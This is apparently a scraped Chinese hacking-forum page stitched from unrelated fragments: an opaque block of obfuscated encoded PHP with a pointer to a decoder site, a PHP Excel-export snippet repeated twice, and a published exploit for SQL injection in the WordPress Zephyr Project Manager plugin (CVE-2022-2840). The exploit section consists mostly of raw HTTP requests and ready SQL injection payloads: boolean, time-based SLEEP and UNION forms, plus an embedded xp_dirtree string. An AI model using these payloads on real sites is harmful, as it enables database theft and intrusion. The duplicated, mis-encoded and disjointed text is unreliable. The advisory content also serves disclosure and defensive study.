ZfFi2AFNs+Mhd+FtUIuDzflQ2YMsOTlKB+4tU51DZfFi2AFmz9GNSTCbzb4cDbrzBb4cDbFisbVTsb/1Bb4cDbFisbVTsbVNUbVeOAFfcTG1Bb4cDbFQvTCIOfFi2AFN1YCivZPOir/tv+Ct1HPpBTMfcTjmKIlTX+Fis51DZfFi2AFm29Vis+gt2YMsOZrtv+Ct1TMcXyMoD+j1Bb4cDbFQvTCf2YMsOHrt2YMsObRQ/ygQ0Ar1B+Mhd+lfUTFBOflcXyMoDwCNsZPOirVDir02sY4XUIrbir0ovYRfdbFezAFs1TPD/AlQqArK6YCTXb4ijyCNDI0qirghOTCfDZh1Vo97aq+4LD868kO7KS+Izfv2sY4XUIrts+Mhd+lpc+POLTMiW+jmVIH04HH9fSyyRWOUiIrbLTMiW+jmBTMcXyMoSAMDL54Q0yl8zfjrqK/jRWOUij6w1RrmV54Q0yl8zfFi/5v2sY4XUIrbzS9TbClpbClERWOUiO8gpdOHZ5/moaumsChoSChoSSiueS86pD851WOLRci79RK9ZU9LIS7w/vLCiOE5XCrbd54oUY4hDyMKSHgXjTMYKCrAXTlcd+/p1yFNbfvO8HRi0bgs1AuqV51==恩恩,这是什么鬼! 查了下 $OOO0O0O00=__FILE__;$OOO000000是用来加密的,那么我们该如何处理这个问题呢? 借助伟大的google粑粑。我找到了一个解密网站。 微盾解密:https://yoursunny.com/p/PHP-decode/ 我们打开网站,复制上面的代码,然后点解解密即可。 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/212.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  9. 前言生成excel 当然使用的是 phpExcel这个类库了,可是它太麻烦了,对于只要简单生成来说有点不值得什么叫简单,把数据库的数据导入到excel就行了, 这个就是简单了 代码如下:<?php header("Content-type:application/vnd.ms-excel"); header("Content-Disposition:filename=test.xls"); echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; ?> 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/523.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  10. 前言生成excel 当然使用的是 phpExcel这个类库了,可是它太麻烦了,对于只要简单生成来说有点不值得什么叫简单,把数据库的数据导入到excel就行了, 这个就是简单了 代码如下:<?php header("Content-type:application/vnd.ms-excel"); header("Content-Disposition:filename=test.xls"); echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; echo "test1\t"; echo "test2\t\n"; ?> 版权属于:逍遥子大表哥 本文链接:https://blog.bbskali.cn/523.html 按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
  11. # Exploit Title: Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi # Date: 14-08-2022 # Exploit Author: Rizacan Tufan # Blog Post: https://rizax.blog/blog/wordpress-plugin-zephyr-project-manager-multiple-sqli-authenticated # Software Link: https://wordpress.org/plugins/zephyr-project-manager/ # Vendor Homepage: https://zephyr-one.com/ # Version: 3.2.42 # Tested on: Windows, Linux # CVE : CVE-2022-2840 (https://wpscan.com/vulnerability/13d8be88-c3b7-4d6e-9792-c98b801ba53c) # Description Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks. It has been determined that the data coming from the input field in most places throughout the application are used in=20 the query without any sanitize and validation. The details of the discovery are given below. # Proof of Concept (PoC)=20 The details of the various SQL Injection on the application are given below. ## Endpoint of Get Project Data. Sample Request :=20 POST /wp-admin/admin-ajax.php HTTP/2 Host: vuln.local Cookie: ... ... Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_projects Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 74 Origin: https://vuln.local Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers action=3Dzpm_view_project&project_id=3D1&zpm_nonce=3D22858bf3a7 Payload :=20 --- Parameter: project_id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=3Dzpm_view_project&project_id=3D1 AND 4923=3D4923&zpm_nonce=3D22858bf3a7 Type: time-based blind Title: MySQL >=3D 5.0.12 OR time-based blind (query SLEEP) Payload: action=3Dzpm_view_project&project_id=3D1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=3D22858bf3a7 Type: UNION query Title: Generic UNION query (NULL) - 20 columns Payload: action=3Dzpm_view_project&project_id=3D-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=3D22858bf3a7 --- ## Endpoint of Get Task Data. Sample Request :=20 POST /wp-admin/admin-ajax.php HTTP/2 Host: vuln.local Cookie: ... ... Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 51 Origin: https://vuln.local Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers task_id=3D1&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7 Payload :=20 --- Parameter: task_id (POST) Type: time-based blind Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP) Payload: task_id=3D1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=3Dzpm_view_task&zpm_nonce=3D22858bf3a7 --- ## Endpoint of New Task. Sample Request :=20 POST /wp-admin/admin-ajax.php HTTP/2 Host: vuln.local Cookie: ... ... Referer: https://vuln.local/wp-admin/admin.php?page=3Dzephyr_project_manager_tasks Content-Type: application/x-www-form-urlencoded; charset=3DUTF-8 X-Requested-With: XMLHttpRequest Content-Length: 337 Origin: https://vuln.local Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers task_name=3Dtest&task_description=3Dtest&task_project=3D1&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Dtest&type=3Ddefault&recurrence%5Btype%5D=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7 Payload :=20 --- Parameter: task_project (POST) Type: time-based blind Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP) Payload: task_name=3Dtest&task_description=3Dtest&task_project=3D1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=3D&task_start_date=3D&team=3D0&priority=3Dpriority_none&status=3Drrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=3Ddefault&recurrence[type]=3Ddefault&parent-id=3D-1&action=3Dzpm_new_task&zpm_nonce=3D22858bf3a7 ---

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    ×
    ×
    • 创建新的...